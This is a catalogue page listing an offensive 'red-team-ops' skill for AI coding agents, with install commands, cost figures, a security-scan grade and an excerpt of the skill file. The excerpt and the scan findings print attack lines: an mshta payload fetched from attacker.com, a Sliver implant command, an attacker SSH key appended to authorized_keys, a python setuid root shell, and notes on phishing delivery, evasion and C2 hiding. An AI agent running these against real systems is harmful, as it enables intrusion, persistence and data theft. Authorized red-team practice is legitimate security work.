red-team-ops

red-team-ops is a skill for Claude Code, Codex from jessefmoore/offensive-claude-code. It costs 34 tokens per session (1,977 once invoked), scanned B, original, MIT.

A red-team operations guide for simulating targeted attacks, including gaining access, staying connected, increasing privileges, avoiding security detection, and moving data out.

In plain words
What is it for?
Use it in an authorized security exercise to plan simulated phishing and file-delivery methods, persistent access, command-and-control communication, privilege escalation, and data-exfiltration tests.
Why use it?
It organizes attack scenarios used to test whether an organization's security tools and response teams can detect and stop them.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it in an authorized security exercise to plan simulated phishing and file-delivery methods, persistent access, command-and-control communication, privilege escalation, and data-exfiltration tests.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/jessefmoore/offensive-claude-code/red-team-ops
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add jessefmoore/offensive-claude-code --skill red-team-ops
Clone the repo
git clone --depth 1 https://github.com/jessefmoore/offensive-claude-code

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for red-team-ops

README.md
[![agentmods](https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/red-team-ops/github.svg)](https://agentmods.dev/skills/jessefmoore/offensive-claude-code/red-team-ops)
Your own site
<a href="https://agentmods.dev/skills/jessefmoore/offensive-claude-code/red-team-ops"><img src="https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/red-team-ops/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for red-team-ops

Your own site · 80×15
<a href="https://agentmods.dev/skills/jessefmoore/offensive-claude-code/red-team-ops"><img src="https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/red-team-ops.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 34 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,977 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00034 $0.01977
Opus 5.5 $0.00014 $0.00791
Sonnet 5.5 $0.00007 $0.00395
Haiku 4.5 $0.00003 $0.00198

Measured 3mo ago against content hash 2a8123939390, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

red-team-ops scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA... attacker" >> ~/.ssh/authorized_keys

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

# cap_setuid+ep on python3 → python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
skills/red-team-ops/SKILL.md · 257 lines

How it starts

The opening of the file, as written. The whole thing — 257 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Red Team Operations

When to Activate

  • Simulating advanced persistent threat (APT) operations
  • Testing detection and response capabilities
  • Establishing persistent access and C2
  • Evading EDR/AV/SIEM detection
  • Privilege escalation on compromised hosts
  • Data exfiltration planning

Initial Access

Phishing Payloads

# Office macro (VBA)
# - AutoOpen/Document_Open trigger
# - Download cradle: PowerShell IEX or certutil
# - Sandbox evasion: check domain join, user interaction delay

# HTA (HTML Application)
mshta http://attacker.com/payload.hta

# ISO/IMG mounting (bypass MOTW)
# Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL

# OneNote (.one) with embedded scripts
# Drag-and-drop .bat/.hta behind fake "Double click to view" image

# DLL sideloading
# Find legitimate signed EXE that loads DLL from CWD
# Place malicious DLL alongside legitimate EXE in delivery package

Delivery Mechanisms

# Smuggling past email gateways:
# - Password-protected ZIP (password in email body)
# - HTML smuggling (JS constructs blob → downloads file)
# - QR code to attacker-controlled site
# - Legitimate file-sharing (OneDrive, Google Drive links)

Command & Control (C2)

Infrastructure Setup

# Sliver C2
sliver-server
> generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe
> mtls --lhost 0.0.0.0 --lport 443
> https --lhost 0.0.0.0 --lport 8443 --domain legit-looking.com

# Domain fronting / CDN hiding
# Use high-reputation domains (cloudfront, azure CDN)
# C2 traffic appears as legitimate HTTPS to CDN

# Redirectors
# socat TCP-LISTEN:443,fork TCP:c2-server:443
# Apache mod_rewrite rules to filter blue team probes

# Malleable C2 profiles (Cobalt Strike)
# Mimic legitimate traffic patterns (Slack, Teams, O365)

C2 Communication Patterns

# DNS over HTTPS (DoH) — blends with normal traffic
# Domain fronting — SNI vs Host header mismatch
# Named pipes — internal lateral movement without network traffic
# SMB beacons — blend with normal AD traffic
# Websockets — persistent connection through proxies

Read the full file on GitHub · 257 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3mo ago First seen · 257 lines · 34 tokens per session scan B 2a8123939390

Subscribe to this mod's changes

red-team-ops is a skill published in the GitHub repository jessefmoore/offensive-claude-code (3 stars, last pushed 2mo ago), licensed MIT. It adds 34 tokens to every session and 1,977 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it B with 2 findings (reaches for credential files, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

red-team-ops compared with skills from other repositories

red-team-ops next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
red-team-opsjessefmoore/offensive-claude-codeSkill32mo agoMITB34Claude Code, Codex
imagegenopenai/codexSkill137ktodayApache-2.0A113Codex
playwright-climicrosoft/playwrightSkill102ktodayApache-2.0A19Claude Code
browser-automationopenclaw/openclawSkill396ktodayMITA36Claude Code
free-llm-apismnfst/awesome-free-llm-apisSkill15ktodayCC0-1.0A113Claude Code, Codex
systematic-debuggingobra/superpowersSkill331k4d agoMITA21Claude Code
next-cache-components-adoptionvercel/next.jsSkill144ktodayMITA95Claude Code